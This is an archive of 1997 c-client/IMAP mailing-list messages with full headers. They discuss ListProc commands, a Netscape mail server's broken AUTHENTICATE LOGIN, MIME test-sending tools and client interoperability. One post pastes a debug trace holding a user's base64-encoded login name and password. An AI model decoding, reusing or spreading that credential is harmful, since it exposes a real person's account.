lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id QAA20263; Wed, 2 Apr 1997 16:38:45 -0800 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA19236 for ; Wed, 2 Apr 1997 16:38:32 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA23720 for ; Wed, 2 Apr 1997 16:38:28 -0800 Received: from mailhost1.cac.washington.edu (mailhost1.cac.washington.edu [140.142.32.2]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id QAA25618; Wed, 2 Apr 1997 16:38:26 -0800 Received: from shiva2.cac.washington.edu (shiva2.cac.washington.edu [140.142.100.202]) by mailhost1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id QAA00500; Wed, 2 Apr 1997 16:38:25 -0800 Message-Id: Date: Wed, 2 Apr 1997 16:38:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: David L Miller To: imap@cac.washington.edu, c-client@cac.washington.edu Subject: ListProc hint MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Several people have already stumbled across problems sending ListProc commands (e.g. unsubscribe, set) from an address other than what they subscribed from, so here's a little hint. Most commands will accept an addition of "for
" to make it apply to another address, e.g. if I subscribed to the IMAP list as foo@bar.com and want to change to getting daily digests, I could send the following to listproc@u.washington.edu: set imap digest for foo@bar.com The ListProc server would then send a confirmation message to foo@bar.com. The cookie in that confirmation message must then be returned within 7 days for the change to take effect. Hope that helps! -- David L. Miller | Wise men make proverbs, but fools Software Engineer, Pine Development Team | repeat them. -- Samuel Palmer Box 354841, University of Washington | 4545 15th Ave NE, Seattle WA 98105, USA | Phone: (206)685-6240 FAX: (206)685-4045 | From pinedev@shivax2.cac.washington.edu Tue Apr 15 08:01:32 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 15 Apr 1997 08:01:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id IAA02275 for ; Tue, 15 Apr 1997 08:01:31 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id IAA05716; Tue, 15 Apr 1997 08:01:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id HAA18661; Tue, 15 Apr 1997 07:57:51 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id HAA43598 for ; Tue, 15 Apr 1997 07:57:18 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id HAA18852 for ; Tue, 15 Apr 1997 07:57:17 -0700 Received: from sema.fr (mailrelay.sema.fr [193.106.58.161]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id HAA05610 for ; Tue, 15 Apr 1997 07:57:12 -0700 Received: from sgnet_nt.rennes.sema.fr (rennes.sema.fr [192.168.14.2]) by sema.fr (8.8.2/8.7.3) with SMTP id QAA02346 for ; Tue, 15 Apr 1997 16:56:56 +0200 (MET DST) Received: from [128.0.20.59] (HELO Jasmin-md.rennes.sema.fr) by sgnet_nt.rennes.sema.fr (AltaVista Mail V2.0/2.0 BL23 listener) id 0000_0046_3353_a4d2_4767; Tue, 15 Apr 1997 16:54:58 +0100 Message-Id: <199704151456.QAA02346@sema.fr> Date: Tue, 15 Apr 1997 16:54:03 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Yves Robin" To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN From pinedev@shivax2.cac.washington.edu Tue Apr 15 13:37:14 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 15 Apr 1997 13:37:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA10338 for ; Tue, 15 Apr 1997 13:37:13 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA14611; Tue, 15 Apr 1997 13:37:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA04696; Tue, 15 Apr 1997 13:33:13 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA05420 for ; Tue, 15 Apr 1997 13:32:43 -0700 Received: from ispadm.amteva.com (amteva.com [38.254.74.99]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA27109 for ; Tue, 15 Apr 1997 13:32:40 -0700 Received: from scmain (scmain.amteva.com) by ispadm.amteva.com ; 15 APR 97 16:41:20 EDT Message-Id: <3353E5E1.3A1B@amteva.com> Date: Tue, 15 Apr 1997 16:32:33 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Nagendran Parasu To: c-client@u.washington.edu Cc: c-client@u.washington.edu, nagu@amteva.com Subject: Mail server 3.0 and UW c-client? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: nagu@u.washington.edu X-Mailer: Mozilla 3.0Gold (X11; I; HP-UX B.10.10 9000/730) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Has anyone used netscape mail server with University of Washington's c-client software? I was playing around with it. The c-client seems to work with Netscape mail-server 2.0. With 3.0, it's not even logging. I am getting an error saying authentication failure: This is output in the mtest program that comes with imap software of UW The screen capture after password.. Password: bmFndQ== + UGFzc3dvcmQA bmFndTEyMw== A00001 NO Authentication failure %Authentication failure A00002 AUTHENTICATE LOGIN + VXNlciBOYW1lAA== UW's pine works well with 3.0. So is there any config I should check? thanks, nagu nagu@amteva.com From pinedev@shivax2.cac.washington.edu Tue Apr 15 13:46:47 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 15 Apr 1997 13:46:47 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA10654 for ; Tue, 15 Apr 1997 13:46:46 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA28046; Tue, 15 Apr 1997 13:46:41 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA05563; Tue, 15 Apr 1997 13:44:35 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA24482 for ; Tue, 15 Apr 1997 13:43:57 -0700 Received: from mailhost2.cac.washington.edu (mailhost2.cac.washington.edu [140.142.33.2]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id NAA22540 for ; Tue, 15 Apr 1997 13:43:56 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id NAA04297; Tue, 15 Apr 1997 13:41:18 -0700 Message-Id: Date: Tue, 15 Apr 1997 13:40:24 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Nagendran Parasu Cc: c-client@u.washington.edu Subject: re: Mail server 3.0 and UW c-client? In-Reply-To: <3353E5E1.3A1B@amteva.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I'd bring this question up with Netscape; it looks like they implemented the "AUTHENTICATE LOGIN" feature but maybe didn't do it right. The current release version of Pine doesn't use AUTHENTICATE LOGIN, that's why you didn't have the problem. From pinedev@shivax2.cac.washington.edu Tue Apr 15 14:04:46 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 15 Apr 1997 14:04:45 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA11308 for ; Tue, 15 Apr 1997 14:04:44 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA28450; Tue, 15 Apr 1997 14:04:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id OAA12660; Tue, 15 Apr 1997 14:02:01 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA34880 for ; Tue, 15 Apr 1997 14:01:43 -0700 Received: from jimi-hendrix.mcom.com (h-205-217-228-33.netscape.com [205.217.228.33]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA02289 for ; Tue, 15 Apr 1997 14:01:40 -0700 Received: from jimi-hendrix.mcom.com ([205.217.228.33]) by jimi-hendrix.mcom.com (Netscape Messaging Server 3.0b2) with SMTP id AAA23059; Tue, 15 Apr 1997 14:01:02 -0700 Message-Id: Date: Tue, 15 Apr 1997 14:01:02 -0700 (PDT) Reply-To: Mike Macgirvin Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mike Macgirvin To: Nagendran Parasu Cc: c-client@u.washington.edu, c-client@u.washington.edu, nagu@AMTEVA.COM Subject: Re: Mail server 3.0 and UW c-client? In-Reply-To: <3353E5E1.3A1B@amteva.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: "Mike Macgirvin" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN > Has anyone used netscape mail server with University of Washington's > c-client software? I was playing around with it. The c-client seems > to work with Netscape mail-server 2.0. With 3.0, it's not even > logging. I am getting an error saying authentication failure: This is > output in the mtest program that comes with imap software of UW Yes, we discovered a problem with the AUTHENTICATE LOGIN mechanism early in Preview 1. Beta 2 will be publicly available RSN. /* ==================== PERSONAL OPINION of ======================== */ /* Mike "The MAX" Macgirvin mailto:MAX@Netscape.COM */ /* Postmaster General http://www.netscape.com/people/max/ */ /* Messaging Server Development Netscape Communications Corporation */ /* ================================================================= */ From pinedev@shivax2.cac.washington.edu Tue Apr 15 14:13:09 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 15 Apr 1997 14:13:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA11605 for ; Tue, 15 Apr 1997 14:13:07 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA28675; Tue, 15 Apr 1997 14:13:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id OAA13038; Tue, 15 Apr 1997 14:10:25 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA43786 for ; Tue, 15 Apr 1997 14:10:10 -0700 Received: from THOR.INNOSOFT.COM (THOR.INNOSOFT.COM [192.160.253.66]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id OAA25586 for ; Tue, 15 Apr 1997 14:10:03 -0700 Received: from eleanor.innosoft.com by INNOSOFT.COM (PMDF V5.1-8 #8694) with SMTP id <01IHQJQI06OC99ESLE@INNOSOFT.COM> for c-client@u.washington.edu; Tue, 15 Apr 1997 14:09:04 PDT Message-Id: Date: Tue, 15 Apr 1997 14:10:28 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Chris Newman To: Mark Crispin Cc: c-client Interest List Subject: re: Mail server 3.0 and UW c-client? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 15 Apr 1997, Mark Crispin wrote: > I'd bring this question up with Netscape; it looks like they implemented the > "AUTHENTICATE LOGIN" feature but maybe didn't do it right. Implementations shouldn't be using unspecified authentication types. In addition, if the rumors I heard from certain IESG members are true, any new procotol specification defining a clear text (or equivalent) mechanism will be rejected. From pinedev@shivax2.cac.washington.edu Tue Apr 22 10:26:17 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 22 Apr 1997 10:26:17 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA13373 for ; Tue, 22 Apr 1997 10:26:16 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA06856; Tue, 22 Apr 1997 10:26:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id KAA08321; Tue, 22 Apr 1997 10:19:55 -0700 Received: from mx5.u.washington.edu (mx5.u.washington.edu [140.142.32.6]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA41668 for ; Tue, 22 Apr 1997 10:18:47 -0700 Received: from newcastl.ecpn.nn.inri.com (newcastl.ecpn.nn.inri.com [199.165.146.202]) by mx5.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA06096 for ; Tue, 22 Apr 1997 10:18:43 -0700 Received: from localhost by newcastl.ecpn.nn.inri.com with SMTP (1.39.111.2/16.2) id AA016789472; Tue, 22 Apr 1997 13:17:52 -0400 Message-Id: Date: Tue, 22 Apr 1997 13:17:50 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Subu Rama To: c-client@u.washington.edu Subject: Automatic sending of MIME messages Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: sr@newcastl.ecpn.nn.inri.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have written a mail client (using c-client) that understands MIME messages. Is there a way of automatically sending test MIME messages so that I can test this ? Right now, I use pine to attach each input file manually and send. All of the attachments can be of the same Content-Type. I am looking for something similar to invoking mailx -s "subject" "address" < input_file except that the input_file will come as an attachment. Thank you Subu Rama sr@inri.com From pinedev@shivax2.cac.washington.edu Tue Apr 22 11:40:47 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 22 Apr 1997 11:40:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA14871 for ; Tue, 22 Apr 1997 11:40:43 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA25485; Tue, 22 Apr 1997 11:40:28 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id LAA14087; Tue, 22 Apr 1997 11:34:58 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA16754 for ; Tue, 22 Apr 1997 11:34:18 -0700 Received: from newcastl.ecpn.nn.inri.com (newcastl.ecpn.nn.inri.com [199.165.146.202]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA28454 for ; Tue, 22 Apr 1997 11:34:15 -0700 Received: from localhost by newcastl.ecpn.nn.inri.com with SMTP (1.39.111.2/16.2) id AA020603972; Tue, 22 Apr 1997 14:32:52 -0400 Message-Id: Date: Tue, 22 Apr 1997 14:32:50 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Subu Rama To: "Steve \"Stevers!\" Coile" Cc: c-client@u.washington.edu Subject: Re: Automatic sending of MIME messages In-Reply-To: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: sr@newcastl.ecpn.nn.inri.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Right after I sent out that message, I found out I had the metasend program that came as part of the metamail package that did what I wanted. Thank you and sorry for the hasty post. Subu Rama sr@inri.com On Tue, 22 Apr 1997, Steve "Stevers!" Coile wrote: > On Tue, 22 Apr 1997, Subu Rama wrote: > >Is there a way of automatically sending test MIME messages so that I can > >test this ? Right now, I use pine to attach each input file manually and > >send. All of the attachments can be of the same Content-Type. > > > >I am looking for something similar to invoking > > mailx -s "subject" "address" < input_file > > except that the input_file will come as an attachment. > > If you have metamail installed on your system, you might also have > a tool called "mailto" which you may find useful. > > -- > Steve Coile P a t r i o t N e t Systems Engineering > scoile@patriot.net Patriot Computer Group (703) 277-7737 > From pinedev@shivax2.cac.washington.edu Tue Apr 22 11:42:26 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Tue, 22 Apr 1997 11:42:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA14900 for ; Tue, 22 Apr 1997 11:42:21 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA25513; Tue, 22 Apr 1997 11:42:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id LAA12412; Tue, 22 Apr 1997 11:23:58 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA43764 for ; Tue, 22 Apr 1997 11:23:24 -0700 Received: from jefferson.patriot.net (root@jefferson.patriot.net [206.151.9.249]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id LAA27220 for ; Tue, 22 Apr 1997 11:23:21 -0700 Received: from grizzly.patriotnet.com (grizzly.patriotnet.com [206.151.9.248]) by jefferson.patriot.net (8.7.4/8.7.3) with SMTP id OAA26418; Tue, 22 Apr 1997 14:21:28 -0400 Message-Id: Date: Tue, 22 Apr 1997 13:25:56 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Steve \"Stevers!\" Coile" To: Subu Rama Cc: c-client@u.washington.edu Subject: Re: Automatic sending of MIME messages In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: scoile@grizzly.patriotnet.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Tue, 22 Apr 1997, Subu Rama wrote: >Is there a way of automatically sending test MIME messages so that I can >test this ? Right now, I use pine to attach each input file manually and >send. All of the attachments can be of the same Content-Type. > >I am looking for something similar to invoking > mailx -s "subject" "address" < input_file > except that the input_file will come as an attachment. If you have metamail installed on your system, you might also have a tool called "mailto" which you may find useful. -- Steve Coile P a t r i o t N e t Systems Engineering scoile@patriot.net Patriot Computer Group (703) 277-7737 From pinedev@shivax2.cac.washington.edu Wed Apr 23 10:29:06 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 23 Apr 1997 10:29:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA02989 for ; Wed, 23 Apr 1997 10:29:05 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA04458; Wed, 23 Apr 1997 10:28:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id KAA08355; Wed, 23 Apr 1997 10:22:43 -0700 Received: from mx2.u.washington.edu (mx2.u.washington.edu [140.142.32.7]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA30958 for ; Wed, 23 Apr 1997 10:21:45 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id KAA23241 for ; Wed, 23 Apr 1997 10:21:42 -0700 Received: from transition.com (sapphire.transition.com [206.7.42.254]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id KAA04203 for ; Wed, 23 Apr 1997 10:21:34 -0700 Received: from avalon by transition.com (SMI-8.6/SMI-SVR4) id MAA09891; Wed, 23 Apr 1997 12:20:58 -0500 Message-Id: <335E44E1.54100074@transition.com> Date: Wed, 23 Apr 1997 12:20:33 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Dan A. Dickey" To: c-client@CAC.Washington.EDU Subject: Solaris imap and netscape client? MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="------------9D5F99030437B53A96F58D81" X-Mailer: Mozilla 4.0b3 [en] (WinNT; I) X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------9D5F99030437B53A96F58D81 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Does anyone out there use the imap4rev1 server running on Solaris with the netscape browser as a client? I'm about to give up on getting this to work. Can someone give me a vote of confidence in this setup? Thanks. -Dan -- Dan A. Dickey ddickey@transition.com http://www.transition.com/ mailto:ddickey@transition.com --------------9D5F99030437B53A96F58D81 Content-Type: text/x-vcard; charset=us-ascii; name="vcard.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Dan Dickey Content-Disposition: attachment; filename="vcard.vcf" begin:vcard fn:Dan Dickey n:Dickey;Dan org:Transition Networks, Inc. adr:;;6475 City West Parkway;Eden Prairie;MN;55344; email;internet:ddickey@transition.com title:Sr. Software Engineer tel;work:612-941-7600 tel;fax:612-941-2322 x-mozilla-cpt:;0 x-mozilla-html:FALSE end:vcard --------------9D5F99030437B53A96F58D81-- From pinedev@shivax2.cac.washington.edu Wed Apr 23 17:55:13 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 23 Apr 1997 17:55:13 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id RAA11191 for ; Wed, 23 Apr 1997 17:55:12 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id RAA15380; Wed, 23 Apr 1997 17:55:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id RAA05287; Wed, 23 Apr 1997 17:52:45 -0700 Received: from mx3.u.washington.edu (mx3.u.washington.edu [140.142.13.230]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id RAA21658 for ; Wed, 23 Apr 1997 17:51:43 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mx3.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id RAA01876 for ; Wed, 23 Apr 1997 17:51:41 -0700 Received: from THOR.INNOSOFT.COM (SYSTEM@THOR.INNOSOFT.COM [192.160.253.66]) by mx2.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id RAA01966 for ; Wed, 23 Apr 1997 17:51:39 -0700 Received: from eleanor.innosoft.com by INNOSOFT.COM (PMDF V5.1-8 #8694) with SMTP id <01II1XSXQWNU99F1P5@INNOSOFT.COM> for c-client@cac.washington.edu; Wed, 23 Apr 1997 17:50:37 PDT Message-Id: Date: Wed, 23 Apr 1997 17:52:03 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Chris Newman To: "Dan A. Dickey" Cc: c-client@CAC.Washington.EDU Subject: Re: Solaris imap and netscape client? In-Reply-To: <335E44E1.54100074@transition.com> Content-id: MIME-version: 1.0 Content-type: MULTIPART/MIXED; BOUNDARY="-559023410-126398554-861843123=:11965" X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---559023410-126398554-861843123=:11965 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: On Wed, 23 Apr 1997, Dan A. Dickey wrote: > Does anyone out there use the imap4rev1 server running on Solaris with > the netscape browser as a client? I'm about to give up on getting this to > work. Can someone give me a vote of confidence in this setup? The Netscape beta client doesn't follow the standard and thus doesn't interoperate. It even fails to check the UIDVAILIDTY, which can result in lost mail -- a very serious bug. ---559023410-126398554-861843123=:11965-- From pinedev@shivax2.cac.washington.edu Wed Apr 23 18:26:21 1997 -0700 Return-Path: Received: via tmail-4.1(5) for mailarch+c-client; Wed, 23 Apr 1997 18:26:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA11549 for ; Wed, 23 Apr 1997 18:26:20 -0700 (PDT) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA15854; Wed, 23 Apr 1997 18:26:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with SMTP id SAA05875; Wed, 23 Apr 1997 18:24:02 -0700 Received: from mx4.u.washington.edu (mx4.u.washington.edu [140.142.33.5]) by lists.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA52178 for ; Wed, 23 Apr 1997 18:23:49 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mx4.u.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA02163 for ; Wed, 23 Apr 1997 18:23:46 -0700 Received: from netscape.com (h-205-217-237-46.netscape.com [205.217.237.46]) by mx1.cac.washington.edu (8.8.4+UW96.12/8.8.4+UW97.03) with ESMTP id SAA15819 for ; Wed, 23 Apr 1997 18:23:43 -0700 Received: from snowy.netscape.com (snowy.mcom.com [205.217.255.28]) by netscape.com (8.8.5/8.8.5) with ESMTP id SAA06529 for ; Wed, 23 Apr 1997 18:23:11 -0700 (PDT) Received: from [207.1.144.171] by snowy.netscape.com (Netscape Messaging Server 3.0b2) with SMTP id AAA4691; Wed, 23 Apr 1997 18:23:10 -0700 Message-Id: <335EB68F.2D80B176@netscape.com> Date: Wed, 23 Apr 1997 18:25:41 -0700 Reply-To: kmcentee@netscape.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Kevin McEntee" To: Chris Newman Cc: "Dan A. Dickey" , c-client@CAC.Washington.EDU Subject: Re: Solaris imap and netscape client? References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Mozilla 4.0b4 (Macintosh; I; PPC) X-Priority: 3 (Normal) 